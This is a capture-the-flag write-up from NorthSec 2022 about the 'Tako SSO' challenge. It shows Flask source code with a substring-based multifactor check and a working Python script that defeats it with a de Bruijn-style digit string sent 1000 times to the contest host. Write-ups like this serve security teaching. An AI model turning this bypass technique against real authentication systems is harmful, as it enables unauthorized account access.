DEV Community

Robert Babaev
Robert Babaev

Posted on • Edited on

NorthSec 2022: Tako SSO

Additional Solve Credit:

  • Alexandra Tenney
  • Cat Whisperer
  • James Lowther

Multifactor authentication is arguably a core concept in cyber security, and doing it wrong can have catastrophic consequences. So let's take a look at Tako SSO, Ouyaya's SSO provider that's totally secure as always.

Recon

You're given creds for the web app. More or less immediately, you can get the source code in the comments of the HTML. Looks like a Flask App.

from flask import Flask, session, render_template, request
from flask_session import Session
import secrets
from flask_json import FlaskJSON, JsonError, json_response, as_json

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
Session(app)
FlaskJSON(app)

@app.route("/")
def set():
    session['tries'] = session.get('tries',0)
    return render_template('index.html')

@app.route("/guess", methods=['POST'])
def guess():
    session['tries'] = int(session.get('tries',0))
    x = secrets.randbelow(100)
    data = request.get_json(force=True)
    value= data['value']
    if str(x) in value:
        session['tries'] = session['tries'] + 1
        if session['tries'] > 1000:
            msg = "The flag is CHANGEME"
        else:
            msg = "This is the value expected. You are at " + str(session['tries']) + " out of 1000. Sending a new challenge"
    else:
        msg = "I expected the challenge value " + str(x) + " Resetting you to 0 tries. Good luck"
        session['tries'] = 0
    return msg
Enter fullscreen mode Exit fullscreen mode

So it looks like our main point of attack is the "/guess" endpoint, which is where we do the actual authentication. We have to do 1000 successful attempts consecutively, which has a (1/100)^1000 chance of happening by pure chance, or in other words after the heat death of the universe on most machines that aren't the Hot Wheels PC.

But there's a critical flaw in the code.

if str(x) in value:
Enter fullscreen mode Exit fullscreen mode

That just checks if the number is in the input. So we have an attack of just sending a massive string of every number from 0 to 99, right?

Wrong!

Trying to send a string of every number gets a WAF block. And it looks like strings of length 100 and under go through. But every number in a string is above 600, can we condense that?

There exists a mathematical concept known as the de Bruijn sequence. To skip the boring math stuff, it's basically a more efficient brute force combination generator, that inherently makes shorter brute force sequences since duplicates are removed. It's used in image depixelation programs, which is where I learned about it.

So, using a de Bruijn sequence with a space of 10 characters (digits 0-9) and strings of length 2 (since, inherently, every number from 0-9 will be represented). A bit of manipulation to get 90 in the list, and fitting it to 100 characters, and our team wrote the following final exploit:

import requests

def main():
    cookies = {
        "session": "0dded050-e2f1-44e7-befd-14b263c74bb3"
    }

    json = {
        "value": "102030405060708091121314151617181922324252627282933435363738394454647484955657585966768697787988990"
    }

    for i in range(1000):
        r = requests.post("http://tako-sso.ctf/guess", cookies=cookies, json=json, proxies={
            "http": "http://localhost:8080",
            "https": "http://localhost:8080",
        })

        print(r.text)
main()
Enter fullscreen mode Exit fullscreen mode

Flag-CaptchaShr00m

Conclusion

Tako SSO was a good challenge, highlighting the importance of proper checks and not relying on WAF to do your security.

Top comments (0)